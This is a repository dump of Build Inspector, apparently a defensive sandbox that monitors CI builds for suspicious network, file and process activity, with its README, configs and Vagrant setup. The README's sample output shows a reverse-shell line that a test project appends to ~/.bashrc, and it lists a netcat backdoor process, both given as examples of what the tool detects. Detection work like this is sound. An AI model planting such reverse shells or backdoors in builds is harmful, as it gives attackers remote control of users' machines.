├── .gitignore
├── .ruby-gemset
├── .ruby-version
├── Build Inspector Research.pdf
├── Gemfile
├── Gemfile.lock
├── LICENSE.md
├── README.md
├── Rakefile
├── Vagrantfile
├── configs
├── bundler.yml
├── gem.yml
├── gradle.yml
├── maven.yml
└── npm.yml
├── inspector
├── inspector_lib.rb
├── lib
├── build_inspector.rb
├── build_inspector_s3.rb
├── configuration.rb
├── evidence_collector.rb
├── evidence_processor.rb
├── packet_inspector.rb
├── printer.rb
├── report_builder.rb
├── report_template.html.erb
├── scripts
│ ├── build_inspector_script.rb
│ ├── insecure_network_finder.rb
│ └── network_activity_finder.rb
└── vagrant_whisperer.rb
├── provisioning
├── bootstrap.sh
├── filesystem-snapshot.txt
├── ntp.conf
├── pre-package-bootstrap.sh
├── pre-package-bootstrap2.sh
├── pre-package-bootstrap3.sh
├── sources.list
└── sshd
├── receive.rb
├── run.sh
├── send.rb
└── test-repos
├── TotallyLegitApp
├── .gitignore
├── .travis.yml
├── build.gradle
├── builds
│ └── build2.sh
├── gradle
│ └── wrapper
│ │ ├── gradle-wrapper.jar
│ │ └── gradle-wrapper.properties
├── gradlew
├── gradlew.bat
├── settings.gradle
└── src
│ └── main
│ └── java
│ └── org
│ └── cf
│ └── Main.java
├── ann-pee-am
├── README.md
└── package.json
└── harmless-project
├── .env
├── Gemfile
└── Gemfile.lock
/.gitignore:
--------------------------------------------------------------------------------
1 | # Ignore any local Vagrant data
2 | .vagrant
3 |
4 | # Ignore any generated evidence files
5 | evidence-*/
6 | evidence-*.zip
7 |
8 | # Ignore local configuration
9 | config.yml
10 |
11 | # Rubymine
12 | .idea/*
13 |
14 | libraries/*
15 |
16 | # Ignore any pcap folder for testing
17 | pcap/*
18 |
19 | # Ignore any results files
20 | *_results.json
--------------------------------------------------------------------------------
/.ruby-gemset:
--------------------------------------------------------------------------------
1 | build-inspector
2 |
--------------------------------------------------------------------------------
/.ruby-version:
--------------------------------------------------------------------------------
1 | 2.2.3
2 |
--------------------------------------------------------------------------------
/Build Inspector Research.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/srcclr/build-inspector/8558d6128fee3533745e9e0a95867d1ce9e7be57/Build Inspector Research.pdf
--------------------------------------------------------------------------------
/Gemfile:
--------------------------------------------------------------------------------
1 | source 'https://rubygems.org'
2 |
3 | gem 'packetfu'
4 | gem 'rubyzip'
5 | gem 'terminal-table'
6 | gem 'rainbow'
7 | gem 'bunny'
8 | gem 'aws-sdk', '~> 2'
9 | gem 'json'
--------------------------------------------------------------------------------
/Gemfile.lock:
--------------------------------------------------------------------------------
1 | GEM
2 | remote: https://rubygems.org/
3 | specs:
4 | amq-protocol (2.0.1)
5 | aws-sdk (2.6.42)
6 | aws-sdk-resources (= 2.6.42)
7 | aws-sdk-core (2.6.42)
8 | aws-sigv4 (~> 1.0)
9 | jmespath (~> 1.0)
10 | aws-sdk-resources (2.6.42)
11 | aws-sdk-core (= 2.6.42)
12 | aws-sigv4 (1.0.0)
13 | bunny (2.6.2)
14 | amq-protocol (>= 2.0.1)
15 | jmespath (1.3.1)
16 | json (2.0.2)
17 | network_interface (0.0.1)
18 | packetfu (1.1.11)
19 | network_interface (~> 0.0)
20 | pcaprub (~> 0.12)
21 | pcaprub (0.12.4)
22 | rainbow (2.1.0)
23 | rubyzip (1.2.0)
24 | terminal-table (1.7.3)
25 | unicode-display_width (~> 1.1.1)
26 | unicode-display_width (1.1.2)
27 |
28 | PLATFORMS
29 | ruby
30 |
31 | DEPENDENCIES
32 | aws-sdk (~> 2)
33 | bunny
34 | json
35 | packetfu
36 | rainbow
37 | rubyzip
38 | terminal-table
39 |
40 | BUNDLED WITH
41 | 1.13.6
42 |
--------------------------------------------------------------------------------
/LICENSE.md:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "{}"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright {yyyy} {name of copyright owner}
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
202 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Build Inspector
2 |
3 | Build Inspector is a forensic sandbox for Continuous Integration environments.
4 | Ever wonder what's happening during your builds? Build Inspector monitors network activity, file system changes, and running processes, making it easier to spot unintended and potentially dangerous activities. Using a sandboxed environment, build operations will happen in isolation without compromising the machine.
5 |
6 | ## Requirements
7 |
8 | - [Ruby](https://www.ruby-lang.org/en/downloads/) (2.2.3<= Required)
9 | - [Vagrant](https://www.vagrantup.com/)
10 | - [Bundler](http://bundler.io/)
11 |
12 | Once those are installed, add the [Sahara Vagrant plugin](https://github.com/jedi4ever/sahara)
13 | and bundle install this project's dependencies:
14 |
15 | ```bash
16 | vagrant plugin install sahara
17 | git clone https://github.com/sourceclear/build-inspector.git
18 | bundle install
19 | ```
20 |
21 | ## Running
22 |
23 | Once you're set up, you'll work with Build Inspector from inside the repository's directory:
24 |
25 | ```bash
26 | cd build_inspector
27 | ```
28 |
29 | Build Inspector does not manage Vagrant for you, so you'll need to do that yourself.
30 | The first time you use it, you'll need to start Vagrant and build the image:
31 |
32 | ```bash
33 | vagrant up
34 | ```
35 |
36 | Once vagrant is started, save a snapshot with:
37 |
38 | ```bash
39 | vagrant sandbox on
40 | ```
41 |
42 | ### Usage
43 |
44 | ```
45 | Usage inspector [options]
46 | -h, --help Display this screen
47 | -n, --no-rollback Do not roll back the virtual machine state after running
48 | -v, --verbose Be verbose
49 | -c, --config Use configuration file at , default=config.yml
50 | -p, --process Only process evidence at
51 | -b, --branch Clone from repository URL
52 | --url Git repo path is a URL
53 | --gem Perform a GEM based build
54 | --gradle Perform a Gradle based build
55 | --maven Perform a Maven based build
56 | --npm Perform a NPM based build
57 |
58 | ```
59 |
60 | ### Gradle Example
61 |
62 | ```bash
63 | ./inspector --gradle test-repos/TotallyLegitApp --script=insecure_network_finder
64 | ```
65 |
66 | The above project has a task called `backdoor` that adds a reverse
67 | connect shell to `~/.bashrc`.
68 |
69 | After running, you should see this at the bottom of the output:
70 |
71 | ```
72 | changed: ~/.bashrc
73 | --- /backup/root/.bashrc 2014-02-19 21:43:56.000000000 -0500
74 | +++ /root/.bashrc 2015-11-08 13:07:40.579626388 -0500
75 | @@ -97,3 +97,5 @@
76 | #if [ -f /etc/bash_completion ] && ! shopt -oq posix; then
77 | # . /etc/bash_completion
78 | #fi
79 | +
80 | +bash -c "bash -i>&/dev/tcp/localhost/1337 0>&1 &disown"&>/dev/null
81 | ```
82 |
83 | In addition, you'll have a file that looks like
84 | `evidence-TotallyLegitApp-201523110032412.zip` which has all the
85 | network and process activity, file system changes, and any new processes.
86 |
87 | ### Bundler Example
88 |
89 | ```bash
90 | ./inspector --gem test-repos/harmless-project --script=insecure_network_finder
91 | ```
92 |
93 | This bundler project has a gem that pings Google during its
94 | installation.
95 |
96 | Run it with Build Inspector and you'll see a list of domains
97 | that the machine tried to connect to.
98 |
99 | ```
100 | Hosts contacted:
101 | www.google.com (74.125.224.113) 1.3K
102 | ```
103 |
104 | ### NPM Example
105 |
106 | ```bash
107 | ./inspector --npm test-repos/ann-pee-am --script=insecure_network_finder
108 | ```
109 |
110 | Inspecting this NPM project should yield the following output:
111 |
112 | ```
113 | The following processes were running during the build:
114 | - /bin/sh -i
115 | - nc -l 0.0.0.0 8080
116 | ```
117 |
118 | That's because the NPM project depends on a module that opens a
119 | persistent backdoor using `netcat`.
120 |
121 | ### Configuration
122 |
123 | Build Inspector monitors all network and file system activities. To ignore
124 | hosts or exclude directories from the monitoring, create and add a
125 | `config.yml` in the repository that looks like this:
126 |
127 | ```yaml
128 | ---
129 |
130 | commands: bundle install --jobs 2
131 |
132 | host_whitelist:
133 | - 10.0.2.2 # Vagrant's IP
134 | - 8.8.8.8 # Ignore DNS
135 | - bundler.rubygems.org
136 | - rubygems.global.ssl.fastly.net
137 | - rubygems.org
138 |
139 | evidence_files:
140 | exclude:
141 | - /home/vagrant/.gem
142 | include:
143 | - /etc
144 | ```
145 |
146 | There are examples for different build systems in the [configs](configs)
147 | directory. You may copy the appropriate configs for your build system
148 | to the root of this project or you can write one from scratch.
149 |
150 | ## Reporting Suspicious Builds
151 |
152 | Help us understand what threats are out there in the wild by submitting any suspicious builds you encounter. This helps us protect against emerging threats, and ensure they're more widely known.
153 |
154 | To submit a suspicious build, just click this link to create a new issue:
155 | [Suspicious Build Issue Submission](https://github.com/sourceclear/build-inspector/issues/new?title=Suspicious%20Build%20Evidence&body=Where%20did%20you%20find%20this%20project%3F%0A%0AWhy%20do%20you%20think%20it%27s%20suspicious%3F%0A%0AAny%20other%20important%20details%3F%0A%0AHow%20are%20you%20doing%20today%3F).
156 |
157 | Then just drag the evidence zip file to the issue you just created to attach it. Thanks in advance!
158 |
159 | ## Troubleshooting
160 |
161 | If you're having a problem, try running `rake vagrant:test` and ensure your environment is setup correctly.
162 |
163 | ### Gradle Build Fails with java.lang.OutOfMemoryError
164 |
165 | A build may work on the host machine but fail with BuildInspector because the Vagrant virtual machine has less memory available than the host machine. There are two ways to work around this issue.
166 |
167 | #### Option 1: Modify [Vagrantfile](Vagrantfile)
168 |
169 | This is the most direct option. This file is used to setup some properties of the virtual machine. The relevant section is:
170 | ```ruby
171 | config.vm.provider 'virtualbox' do |vb|
172 | vb.customize ['modifyvm', :id, '--natdnsproxy1', 'off']
173 | vb.customize ['modifyvm', :id, '--natdnshostresolver1', 'off']
174 | vb.memory = 1024
175 | end
176 | ```
177 |
178 | Simply adjust `vb.memory = 1024` to some other number such as `vb.memory = 2000` then rebuild the machine with `rake vagrant:rebuild`. The Java VM determines heap space as a portion of total memory available. Increasing the memory will also increase the heap space.
179 |
180 | #### Option 2: Adjust Java VM Heap Size
181 |
182 | If you're unable to adjust the memory requirements for the Vagrant virtual machine, you can try to tell Gradle to tell the Java VM to allocate more heap space. This can be done by adding the following command to your configuration:
183 |
184 | ```bash
185 | echo org.gradle.jvmargs=-Xmx2G >> gradle.properties
186 | ```
187 |
188 | For example, `gradle.yml` is:
189 |
190 | ```yaml
191 | commands: gradle build
192 | ```
193 |
194 | After adding this command it would be:
195 |
196 | ```yaml
197 | commands:
198 | - echo org.gradle.jvmargs=-Xmx2G >> gradle.properties
199 | - gradle build
200 | ```
201 |
202 | ## Development
203 |
204 | When you want to experiment, just do:
205 | `vagrant sandbox on`
206 |
207 | Then, make all the changes you want to the image. If you'd like to save the changes, do:
208 | `vagrant sandbox commit`
209 |
210 | Otherwise, you can wipe out the changes with:
211 | `vagrant sandbox rollback`
212 |
213 | There are also a number of Rake tasks:
214 | ```
215 | rake vagrant:commit # Commits the machine's state
216 | rake vagrant:destroy # Destroy Vagrant image
217 | rake vagrant:halt # Gracefully stop Vagrant
218 | rake vagrant:rebuild # Equivalent to a `vagrant destroy && vagrant up`
219 | rake vagrant:reload # Equivalent to a `vagrant halt && vagrant up`
220 | rake vagrant:rollback # Restores the previously committed machine state
221 | rake vagrant:test # Check environment to determine if build-inspector should work
222 | rake vagrant:up # Start Vagrant
223 | rake vagrant:update # Upgrade Vagrant image
224 | ```
225 |
--------------------------------------------------------------------------------
/Rakefile:
--------------------------------------------------------------------------------
1 | require 'rake'
2 | require 'optparse'
3 | require_relative 'lib/printer'
4 |
5 | namespace :vagrant do
6 | desc 'Restores the previously committed machine state'
7 | task :rollback do
8 | Printer.exec_puts('vagrant sandbox rollback')
9 | end
10 |
11 | desc "Commits the machine's state. Future rollbacks will go to this state"
12 | task :commit do
13 | Printer.exec_puts('vagrant sandbox commit')
14 | end
15 |
16 | desc "Gracefully stop Vagrant"
17 | task :halt do
18 | Printer.exec_puts('vagrant halt')
19 | end
20 |
21 | desc "Start Vagrant"
22 | task :up do
23 | Printer.exec_puts('vagrant up')
24 | end
25 |
26 | desc "Upgrade Vagrant image"
27 | task :update do
28 | Printer.exec_puts('vagrant box update')
29 | end
30 |
31 | desc "Destroy Vagrant image"
32 | task :destroy do
33 | Printer.exec_puts('vagrant destroy -f')
34 | end
35 |
36 | desc 'Equivalent to a `vagrant destroy && vagrant up`'
37 | task rebuild: [:destroy, :up]
38 |
39 | desc 'Equivalent to a `vagrant halt && vagrant up`'
40 | task :reload do
41 | Printer.exec_puts('vagrant reload')
42 | end
43 |
44 | desc 'Check environment to determine if build-inspector should work'
45 | task :test do
46 | vagrant_path = `which vagrant`
47 | if vagrant_path == '' || vagrant_path == 'vagrant not found'
48 | puts "Vagrant installed:\t\tNO"
49 | return
50 | else
51 | puts "Vagrant installed:\t\tyes - path=#{vagrant_path}"
52 | end
53 |
54 | plugin_str = `vagrant plugin list`
55 | indx = plugin_str.index('sahara (')
56 | if indx
57 | start_offset = indx + 'sahara ('.length
58 | end_offset = plugin_str.index(')', start_offset) - 1
59 | sandbox_version = plugin_str[start_offset..end_offset]
60 | puts "Sandbox plugin installed:\tyes - version=#{sandbox_version}"
61 | else
62 | puts "Sandbox plugin installed:\tNO"
63 | end
64 |
65 | status_str = `vagrant status`
66 | status_line = status_str.split("\n").select { |e| e.start_with?('default') }.first
67 | status = status_line.split(/\s+/)[1]
68 | if status == 'not created'
69 | puts "Box provisioned:\t\tNO"
70 | else
71 | puts "Box provisioned:\t\tyes - status=#{status}"
72 | end
73 | end
74 | end
75 |
--------------------------------------------------------------------------------
/Vagrantfile:
--------------------------------------------------------------------------------
1 | # -*- mode: ruby -*-
2 | # vi: set ft=ruby :
3 |
4 | Vagrant.configure(2) do |config|
5 | config.vm.box = 'ubuntu/trusty64'
6 |
7 | config.vm.box_check_update = false
8 |
9 | # Provisioning
10 | PROVISIONING_DIR = 'provisioning'
11 | sources = 'sources.list'
12 | sshd = 'sshd'
13 | snapshot_files = 'filesystem-snapshot.txt'
14 | config.vm.provision :file, source: File.join(PROVISIONING_DIR, sources), destination: sources
15 | config.vm.provision :file, source: File.join(PROVISIONING_DIR, sshd), destination: sshd
16 | config.vm.provision :file, source: File.join(PROVISIONING_DIR, snapshot_files), destination: snapshot_files
17 | config.vm.provision :shell, path: File.join(PROVISIONING_DIR, 'pre-package-bootstrap.sh'), keep_color: true
18 | config.vm.provision :shell, privileged: false, path: File.join(PROVISIONING_DIR, 'pre-package-bootstrap2.sh')
19 | config.vm.provision :shell, path: File.join(PROVISIONING_DIR, 'pre-package-bootstrap3.sh')
20 | config.vm.provision :shell, path: File.join(PROVISIONING_DIR, 'bootstrap.sh')
21 |
22 | # Security!
23 | config.vm.synced_folder '.', '/vagrant', disabled: true
24 |
25 | config.vm.provider 'virtualbox' do |vb|
26 | vb.customize ['modifyvm', :id, '--natdnsproxy1', 'off']
27 | vb.customize ['modifyvm', :id, '--natdnshostresolver1', 'off']
28 | vb.memory = 3096
29 | end
30 |
31 | config.vm.provider :digital_ocean do |provider, override|
32 | override.ssh.private_key_path = ENV['PRIVATE_KEY_PATH'] || '~/.ssh/id_rsa'
33 | override.vm.box = 'digital_ocean'
34 | override.vm.box_url = "https://github.com/smdahlen/vagrant-digitalocean/raw/master/box/digital_ocean.box"
35 |
36 | provider.name = 'inspector'
37 | provider.token = ENV['DIGITAL_OCEAN_TOKEN']
38 | provider.image = 'ubuntu-14-04-x64'
39 | provider.region = 'sgp1'
40 | provider.size = '512mb'
41 | end
42 | end
43 |
--------------------------------------------------------------------------------
/configs/bundler.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | commands: bundle install --jobs=3 --retry=3
4 |
5 | # Exclude these hosts and IP addresses from network monitoring
6 | host_whitelist:
7 | - 10.0.2.2 # VirtualBox's address
8 | - bundler.rubygems.org
9 | - index.rubygems.org
10 | - rubygems.global.ssl.fastly.net
11 | - rubygems.org
12 |
13 | # Files or directories which should be included or excluded from evidence collection
14 | evidence_files:
15 | exclude:
16 | - /backup
17 | - /dev
18 | - /evidence
19 | - /home/vagrant/.bundle
20 | - /home/vagrant/.gem
21 | - /home/vagrant/.rvm
22 | - /home/vagrant/repo
23 | - /lost+found
24 | - /media
25 | - /mnt
26 | - /proc
27 | - /run
28 | - /sys
29 | - /tmp
30 | - /vagrant
31 | - /var/lock
32 | - /var/log
33 | - /var/run
34 | - /var/tmp
35 | include:
36 | - /bin
37 | - /boot
38 | - /etc
39 | - /home
40 | - /lib
41 | - /opt
42 | - /root
43 | - /sbin
44 | - /selinux
45 | - /srv
46 | - /usr
47 | - /var
48 |
--------------------------------------------------------------------------------
/configs/gem.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | commands:
4 | - gem install
5 |
6 | # Exclude these hosts and IP addresses from network monitoring
7 | host_whitelist:
8 | - 10.0.2.2 # VirtualBox's address
9 | - api.rubigems.org
10 | - bundler.rubygems.org
11 | - index.rubygems.org
12 | - rubygems.global.ssl.fastly.net
13 | - rubygems.org
14 |
15 | # Files or directories which should be included or excluded from evidence collection
16 | evidence_files:
17 | exclude:
18 | - /backup
19 | - /dev
20 | - /evidence
21 | - /home/vagrant/.bundle
22 | - /home/vagrant/.gem
23 | - /home/vagrant/.rvm
24 | - /home/vagrant/repo
25 | - /lost+found
26 | - /media
27 | - /mnt
28 | - /proc
29 | - /run
30 | - /sys
31 | - /tmp
32 | - /vagrant
33 | - /var/lock
34 | - /var/log
35 | - /var/run
36 | - /var/tmp
37 | include:
38 | - /bin
39 | - /boot
40 | - /etc
41 | - /home
42 | - /lib
43 | - /opt
44 | - /root
45 | - /sbin
46 | - /selinux
47 | - /srv
48 | - /usr
49 | - /var
50 |
--------------------------------------------------------------------------------
/configs/gradle.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | commands:
4 | - gradle build
5 |
6 | # Exclude these hosts and IP addresses from network monitoring
7 | host_whitelist:
8 | - 10.0.2.2 # VirtualBox's address
9 | - downloads.gradle.org
10 | - repo.maven.apache.org
11 | - repo1.maven.org
12 | - services.gradle.org
13 |
14 | # Files or directories which should be included or excluded from evidence collection
15 | evidence_files:
16 | exclude:
17 | - /backup
18 | - /dev
19 | - /evidence
20 | - /home/vagrant/.gradle
21 | - /home/vagrant/repo
22 | - /lost+found
23 | - /media
24 | - /mnt
25 | - /proc
26 | - /run
27 | - /sys
28 | - /tmp
29 | - /vagrant
30 | - /var/lock
31 | - /var/log
32 | - /var/run
33 | - /var/tmp
34 | include:
35 | - /bin
36 | - /boot
37 | - /etc
38 | - /home
39 | - /lib
40 | - /opt
41 | - /root
42 | - /sbin
43 | - /selinux
44 | - /srv
45 | - /usr
46 | - /var
47 |
--------------------------------------------------------------------------------
/configs/maven.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | commands:
4 | - mvn package
5 |
6 | # Exclude these hosts and IP addresses from network monitoring
7 | host_whitelist:
8 | - 10.0.2.2 # VirtualBox's address
9 | - repo.maven.apache.org
10 | - repo1.maven.org
11 |
12 | # Files or directories which should be included or excluded from evidence collection
13 | evidence_files:
14 | exclude:
15 | - /backup
16 | - /dev
17 | - /evidence
18 | - /home/vagrant/.m2
19 | - /home/vagrant/repo
20 | - /lost+found
21 | - /media
22 | - /mnt
23 | - /proc
24 | - /run
25 | - /sys
26 | - /tmp
27 | - /vagrant
28 | - /var/lock
29 | - /var/log
30 | - /var/run
31 | - /var/tmp
32 | include:
33 | - /bin
34 | - /boot
35 | - /etc
36 | - /home
37 | - /lib
38 | - /opt
39 | - /root
40 | - /sbin
41 | - /selinux
42 | - /srv
43 | - /usr
44 | - /var
45 |
--------------------------------------------------------------------------------
/configs/npm.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | commands:
4 | - npm install
5 |
6 | # Exclude these hosts and IP addresses from network monitoring
7 | host_whitelist:
8 | - 10.0.2.2 # VirtualBox's address
9 | - registry.npmjs.org
10 | - nodejs.org
11 |
12 | # Files or directories which should be included or excluded from evidence collection
13 | evidence_files:
14 | exclude:
15 | - /backup
16 | - /dev
17 | - /evidence
18 | - /home/vagrant/.npm
19 | - /home/vagrant/repo
20 | - /lost+found
21 | - /media
22 | - /mnt
23 | - /proc
24 | - /run
25 | - /sys
26 | - /tmp
27 | - /vagrant
28 | - /var/lock
29 | - /var/log
30 | - /var/run
31 | - /var/tmp
32 | include:
33 | - /bin
34 | - /boot
35 | - /etc
36 | - /home
37 | - /lib
38 | - /opt
39 | - /root
40 | - /sbin
41 | - /selinux
42 | - /srv
43 | - /usr
44 | - /var
45 |
--------------------------------------------------------------------------------
/inspector:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ruby
2 |
3 | =begin
4 | Copyright 2016 SourceClear Inc
5 |
6 | Licensed under the Apache License, Version 2.0 (the "License");
7 | you may not use this file except in compliance with the License.
8 | You may obtain a copy of the License at
9 |
10 | http://www.apache.org/licenses/LICENSE-2.0
11 |
12 | Unless required by applicable law or agreed to in writing, software
13 | distributed under the License is distributed on an "AS IS" BASIS,
14 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
15 | See the License for the specific language governing permissions and
16 | limitations under the License.
17 | =end
18 |
19 | require 'optparse'
20 | require_relative 'lib/build_inspector'
21 | require_relative 'lib/configuration'
22 | require_relative 'lib/evidence_collector'
23 | require_relative 'lib/evidence_processor'
24 | require_relative 'lib/printer'
25 | require_relative 'lib/vagrant_whisperer'
26 | require_relative 'lib/report_builder'
27 | require_relative 'inspector_lib'
28 |
29 | # Don't buffer output; flush it immediately.
30 | $stdout.sync = true
31 |
32 | options = {
33 | rollback: true,
34 | config: 'config.yml',
35 | branch: 'master',
36 | s3: false,
37 | script: nil,
38 | only_process: nil,
39 | is_url: false,
40 | verbose: false,
41 | repo: nil,
42 | results: nil
43 | }
44 |
45 | optparse = OptionParser.new do |opts|
46 | opts.banner = "Usage #{File.basename($0)} [options] "
47 | opts.on('-h', '--help', 'Display this screen') do
48 | puts opts
49 | exit
50 | end
51 |
52 | opts.on('-n', '--no-rollback',
53 | 'Do not roll back the virtual machine state after running') do
54 | options[:rollback] = false
55 | end
56 |
57 | opts.on('-v', '--verbose', 'Be verbose') do
58 | options[:verbose] = true
59 | end
60 |
61 | opts.on('-c', '--config ', String,
62 | "Use configuration file at , default=#{options[:config]}") do |config|
63 | options[:config] = config
64 | end
65 |
